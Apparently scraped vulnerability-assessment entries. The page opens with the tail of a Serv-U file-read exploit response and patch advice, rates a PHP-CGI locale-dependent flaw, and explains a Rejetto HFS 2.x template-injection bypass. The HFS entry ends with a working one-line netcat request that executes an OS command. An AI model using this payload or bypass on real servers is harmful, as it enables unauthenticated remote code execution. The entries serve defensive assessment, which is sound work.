Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/;  secure; httponly
Content-Length: 18

THIS IS A SECRET!

Remediation

SolarWinds has released a hotfix 15.4.2 Hotfix 2 to remediate this issue. Serv-U customers are advised to apply this hotfix on an urgent basis.

Further information about the hotfix is available from the vendor here.

References

2
Ratings
Technical Analysis

I have rated the attacker value as high, as if the requirement to exploitation are met the attacker can get remote unauthenticated RCE on the target Windows server. I have rated the Exploitability as Low as there are several prerequisites for a target to be vulnerable, specifically.

  • Target must be a web server running on a Windows system. A Web server on Linux for example can not be vulnerable. Currently I have only seen vulnerable Apache based configurations. I could not get IIS to be vulnerable during testing.
  • Target webserver must expose PHP in CGI mode (as opposed to FastCGI mode which is generally more common), or expose the CGI binary directly through an Apache ScriptAlias directive.
  • The target Windows OS must have its system locale set to either Japanese (Code page 932) or Chinese (Code pages 950 or 936). For this reason most systems that meet the other requirements will not be exploitable, as the systems locale must use a code page that can cause the vulnerability.

It is worth noting that XAMPP for Windows is in a vulnerable configuration by default, however the target Windows system XAMPP is running on still must meet the locale requirement of either Japanese or Chinese as mentioned above.

4
Ratings
  • Attacker Value
    Low
  • Exploitability
    Very High
Technical Analysis

The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an unauthenticated server side template injection (SSTI) vulnerability. A remote unauthenticated attacker can execute code with the privileges of the user account running the HFS.exe server process. The vulnerability has been confirmed to work against version 2.4.0 RC7 and 2.3m. The Rejetto HTTP File Server (HFS) version 2.x is no longer supported by the maintainers and no patch is available. Users are recommended to upgrade to version 3.x.

The server uses a default template when rendering the content for a HTTP response. This template when rendered will include the content of a request’s search query parameter. It is this search query parameter that lets us supply a value that will not be escaped correctly, and ultimately results in an SSTI vulnerability.

Under normal operation any user supplied content will be escaped, so any symbols, which are normally encoded as %symbol-name%, and any macros, which are normally encoded as {:macro-name:} will be escaped to prevent SSTI.

However we can force a percent symbol to become un-escaped. This allows us to embed any symbol in the content being processed. We can do this via the sequence %25x%25symbol-name%25.

We can leverage this to force the %url% symbol to become unescaped. When the %url% symbol is processed by the server, it will echo back the remainder of the URL into the server side content. By forcing the remainder of the URL in the HTTP request to not be correctly URL-encoded, we can now include characters such as additional % or } characters.

To inject arbitrary macros, we first need to close the default template MARKER_QUOTE sequence ({:) by writing an unexpected MARKER_UNQUOTE (:}) sequence, however this will still be filtered. To bypass this filtering, we can leverage the %host% symbol and an empty host header value. So :%host%} will become :} and this will not be escaped. After this happens we can perform an arbitrary template injection containing a sequence of any HFS symbols or macros we want.

Finally we can execute an arbitrary operating system command by using the exec macro as shown below. As the search query parameter is processed several times by the default template, we avoid executing our command several times by issuing a break macro which will stop all processing.

$ echo -ne "GET /?search=%25x%25url%25:%host%}{.exec|notepad.}{.break.} HTTP/1.1\r\nHost:\r\n\r\n" | nc 192.168.86.35 80

I have rated the exploitability of this vulnerability as very high, as it is trivial to exploit by a remote unauthenticated attacker. I have rated the attacker value as low as this is not an enterprise web server.